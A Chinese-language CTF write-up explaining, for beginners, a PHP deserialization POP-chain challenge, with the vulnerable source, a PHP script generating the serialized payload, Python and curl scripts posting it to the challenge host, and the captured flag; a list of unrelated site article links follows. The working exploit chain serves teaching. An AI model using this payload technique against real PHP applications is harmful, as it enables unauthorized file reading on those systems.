CTF WriteUpPHP 反序列化 POP 链NewStarCTF 风格题目地址http://d861d3bd6cd4955b9d875dc7.http-ctf2.dasctf.com/类型Web / PHP 反序列化最终 FlagCTF2{e68832e4-7c7f-480e-b73f-07c44ef15638}0. 给完全小白的三个前置概念在看代码之前你只需要理解这三件事本篇 WP 后面都会反复用到unserialize()是还原对象的函数程序把一个对象存成字符串叫序列化unserialize()再把字符串变回对象。如果我们能控制这个字符串就能凭空造出一个内容被我们改过的对象。魔术方法Magic Method会自动触发名字以__开头的函数是 PHP 的忍者函数不用你手动调用满足条件就自动执行。常见的有__destruct()对象被销毁时自动执行。__toString()对象被当成字符串用时自动执行。__invoke()把对象当函数调用时自动执行。__call()调用一个不存在的方法时自动执行。__clone()clone一个对象时自动执行。__isset()对不可访问的属性用isset()时自动执行。POP 链是什么就是把这些自动触发的魔术方法用对象一个接一个串起来像多米诺骨牌一样触发第一个 → 它内部的操作触发第二个 → …… 最后触发到能读文件的那个危险函数。1. 第一步看题目给了什么打开题目网址页面直接高亮显示了源码精简后如下?phperror_reporting(0);highlight_file(__FILE__);classStart{// 有两个属性 $namepublic和 $funcprotectedpublic$name;protected$func;publicfunction__destruct(){echoWelcome to NewStarCTF, .$this-name;// (A) 输出时会拼接 $name}publicfunction__isset($var){($this-func)();// (E) 把 $func 当函数调用}}classSec{// 有两个属性 $objprivate和 $varprivateprivate$obj;private$var;publicfunction__toString(){$this-obj-check($this-var);// (B) 调用 $obj 的 check 方法returnCTFers;}publicfunction__invoke(){echofile_get_contents(/flag);// (F) 读取 flag终点}}classEasy{// 有1个属性 $clapublicpublic$cla;publicfunction__call($fun,$var){$this-claclone$var[0];// (C) clone 第 0 个参数}}classeeee{// 有1个属性 $objpublicpublic$obj;publicfunction__clone(){if(isset($this-obj-cmd)){// (D) 对 $obj-cmd 做 issetechosuccess;}}}if(isset($_POST[pop])){unserialize($_POST[pop]);// 入口POST 参数 pop}关键情报入口$_POST[pop]把它的值反序列化。所以我们要用 POST 提交一个pop参数。终点Sec::__invoke()里的file_get_contents(/flag)—— 这就是要读的文件。error_reporting(0)报错被关掉了。所以如果链子中途断了页面不会给你报错只会看到什么都没有。这也是为什么后面调试要小心。2. 第二步从终点倒推找出整条链子我们从能读 flag 的Sec::__invoke()“出发一步一步往回找谁能让它被触发”。步骤我们要触发的魔术方法触发条件用什么去触发① 起点Start::__destruct()对象销毁顶层传一个Start对象即可脚本结束自动触发②Sec::__toString()对象被当字符串Start的__destruct里有echo ...$this-name把$name设成Sec对象即可③Easy::__call()调用不存在的方法Sec::__toString里有$this-obj-check()把$obj设成Easy对象即可Easy没有check方法④eeee::__clone()clone对象Easy::__call里有clone $var[0]让参数第 0 个是eeee对象即可⑤Start::__isset()对不可访问或不存在的属性调用isseteeee::__clone里有isset($this-obj-cmd)把$obj设成Start对象即可因为⑥ 终点Sec::__invoke()对象被当函数调用Start::__isset里有($this-func)()把$func设成Sec对象即可把上面的①②③④⑤⑥连起来就得到完整链条Start::__destruct() └─ 拼接触发 Sec::__toString() └─ 调用不存在的 check() 触发 Easy::__call() └─ clone 触发 eeee::__clone() └─ isset 不可访问属性触发 Start::__isset() └─ 调用对象触发 Sec::__invoke() └─ file_get_contents(/flag) 用对象关系画出来就是Start(外层) └─ name Sec 对象 ├─ obj Easy 对象 └─ var eeee 对象 └─ obj Start 对象(内层) └─ func Sec 对象 ← 这个会被当函数调用读 flag3. 第三步动手构造 payload重点新手最容易踩坑3.1 序列化字符串格式扫盲PHP 序列化一个对象长这样O:类名长度:类名:属性个数:{ 属性名;属性值; 属性名;属性值; ... }数字5→i:5;字符串abc→ 长度要写对s:3:abc;null→N;数组[x]→a:1:{i:0;x;}属性名的隐形前缀超重要新手必错属性类型写法序列化后的属性名publicpublic $name;就是nameprotectedprotected $func;\0*\0func前面加\0*\0长度 3privateprivate $obj;\0类名\0obj前后包\0类名\0长度 类名长2其中\0是空字节NULL byte不是两个普通字符。长度s:8:...里的 8 空字节算 1 个字符。例如private $obj在Sec类里是\0Sec\0obj共1 3 1 3 8个字符所以写s:8:\0Sec\0obj。3.2 用 PHP 帮我们自动生成推荐做法手写空字节很容易出错最省事的办法是写一段 PHP 脚本让 PHP 自己serialize()。下面是构造脚本保存为build.php?phpclassStart{public$name;protected$func;}classSec{private$obj;private$var;}classEasy{public$cla;}classeeee{public$obj;}// 终点Sec 对象它的 __invoke 会读 /flag$secReadernewSec();// 内层 Start__isset 会执行 ($this-func)()把 func 设成上面的 Sec$innerStartnewStart();$rnewReflectionProperty(Start,func);// func 是 protected用反射赋值$r-setAccessible(true);$r-setValue($innerStart,$secReader);// eeee 对象__clone 会 isset($this-obj-cmd)把 obj 设成内层 Start$eneweeee();$e-obj$innerStart;// Easy 对象__call 会 clone $var[0]$easynewEasy();// Sec 对象__toString 会 $this-obj-check($this-var)$sec2newSec();$ronewReflectionProperty(Sec,obj);$ro-setAccessible(true);$rvnewReflectionProperty(Sec,var);$rv-setAccessible(true);$ro-setValue($sec2,$easy);// obj Easy$rv-setValue($sec2,$e);// var eeee 对象注意不是数组见下方说明// 外层 Start__destruct 会 echo $this-name把 name 设成上面的 Sec 对象$outernewStart();$outer-name$sec2;// 输出 payloadechoserialize($outer);运行php build.php得到的 payload 是O:5:Start:2:{s:4:name;O:3:Sec:2:{s:8:\0Sec\0obj;O:4:Easy:1:{s:3:cla;N;}s:8:\0Sec\0var;O:4:eeee:1:{s:3:obj;O:5:Start:2:{s:4:name;N;s:7:\0*\0func;O:3:Sec:2:{s:8:\0Sec\0obj;N;s:8:\0Sec\0var;N;}}}}s:7:\0*\0func;N;}3.3 ⚠️ 新手最大的坑$var[0]到底是什么很多教程会让你把Sec的var写成数组a:1:{i:0;eeee对象;}然后发现跑不通报错__clone method called on non-object。原因Easy::__call($fun, $var)的第二个参数$var本身就是参数数组。当Sec::__toString执行$this-obj-check($this-var)时它传给check()的参数是$this-var。如果你把Sec::$var设成eeee 对象→check()收到 1 个参数 →$var [eeee对象]→$var[0] eeee对象 ✅如果你把Sec::$var设成数组 [eeee对象]→check()收到 1 个参数那个数组→$var [[eeee对象]]→$var[0] 数组 ❌clone 数组报错结论Sec::$var直接设成eeee对象不要再包一层数组。这是本题唯一的隐藏陷阱。4. 第四步发送 payload 拿 flag因为 payload 里含有空字节不要直接在浏览器里手打用脚本发包最稳。exp.pyimporturllib.request,urllib.parse URLhttp://d861d3bd6cd4955b9d875dc7.http-ctf2.dasctf.com/payloadopen(payload.txt,rb).read()# 上面的序列化字符串# 用 latin-1 编码保证空字节原样传输dataurllib.parse.urlencode({pop:payload.decode(latin-1)}).encode(latin-1)requrllib.request.Request(URL,datadata)withurllib.request.urlopen(req,timeout30)asr:bodyr.read().decode(utf-8,replace)# 页面源码里 /code 之后才是执行输出tailbody.split(/code)[-1]print(tail)一行命令版把 payload 存成payload.txt后curl-s-XPOST --data-urlencodepoppayload.txt\http://d861d3bd6cd4955b9d875dc7.http-ctf2.dasctf.com/\|seds/.*\/code//返回结果CTF2{e68832e4-7c7f-480e-b73f-07c44ef15638} Welcome to NewStarCTF, CTFersWelcome to NewStarCTF,其中Welcome to NewStarCTF, CTFers说明整条链子被完整触发了__destruct输出 →__toString返回了 “CTFers”前面那串就是 flag。5. 完整总结项目内容入口POST参数pop→unserialize()终点Sec::__invoke()→file_get_contents(/flag)利用链Start::__destruct→Sec::__toString→Easy::__call→eeee::__clone→Start::__isset→Sec::__invoke关键点 1private/protected属性名带空字节前缀长度要算对关键点 2Easy::__call的$var是参数数组故Sec::$var应为eeee对象不是数组FlagCTF2{e68832e4-7c7f-480e-b73f-07c44ef15638}6. 新手复习清单下次遇到同类题照做先找入口谁调用了unserialize()参数名是什么。再找终点哪个魔术方法里有危险操作读文件、命令执行、文件写入。倒推链条从终点往回逐个列出哪个魔术方法能触发下一个写成表格。用 PHP 生成 payload写出同名类 →new出对象 → 设置属性 →serialize()。不要手写避免空字节和长度算错。注意方法参数的含义像本题__call($fun, $var)的$var是参数数组想清楚$var[0]对应你设置的哪个属性。用脚本发包含空字节的 payload浏览器里不好手动输入。看执行输出调试时可以先在本地用 PHP 复现题目代码能直接看到报错定位问题最快。
企业数字化 ERP 产品动态
相关推荐
职场沟通技巧:如何应对棘手的对话 科技行业归根结底离不开人与人之间的协作,而要把工作做好,就需要持续沟通。从日常交流到重要讨论,大大小小的对话贯穿我们的工作,帮助我们携手解决问题、取得成果。可如果对话并不顺利呢?如果一场谈话让你心跳加速、脸… · 2026/9/24 12:03:46
TC3xx SWAP机制详解:SOTA升级与ECU回滚的可靠实现 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 12:03:34
WebSocket跨域与Nginx反代排查:从原理到生产实战 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 12:37:53
Linux USB协议栈框架详解:HCD、Core、类驱动与Gadget分层解析 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 12:37:53
Codeforces新手入门:从注册到拿下第一道AC的避坑指南 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 12:37:53
FPGA+FX3实现USB3.0高速数据采集:338MB/s链路设计实战 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 12:37:53
贝索斯最后一封股东信:疫情下的亚马逊危机管理与长期主义 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 12:37:46
MOS管散热孔设计:三个关键尺寸与避坑指南 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 12:37:46
基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程 简介:这是一套面向计算机、人工智能、自动化等专业学生与教师的毕业设计级项目资源,围绕YOLOv8实现渔船作业监控系统,可用于毕设、课程设计、大作业或项目立项演示。压缩包共97个文件,约24.21MB,以70个Python源码文件为… · 2026/9/24 0:00:13
1D-CNN时间序列建模实战:从Conv1d原理到工业落地 简介:面向时间序列数据建模的一维卷积神经网络完整实现,适合深度学习入门者及需要快速验证时序模型的研究者,能够从音频、文本、传感器或股价等序列中挖掘局部特征与时间依赖。压缩包体积很小,只有3KB,内含3个Python脚… · 2026/9/24 0:00:26
柔软的L:汉语语流中被忽视的舌肌张力控制 1. 这个“L”不是字母表里的L,而是舌尖上的L最近在几个方言群和语音教学社群里,反复看到有人发一句:“也说字母L:柔软的长舌”。初看以为是英语发音课笔记,点开才发现全是方言爱好者、播音系学生、语言康复师甚至戏曲演… · 2026/9/24 0:00:44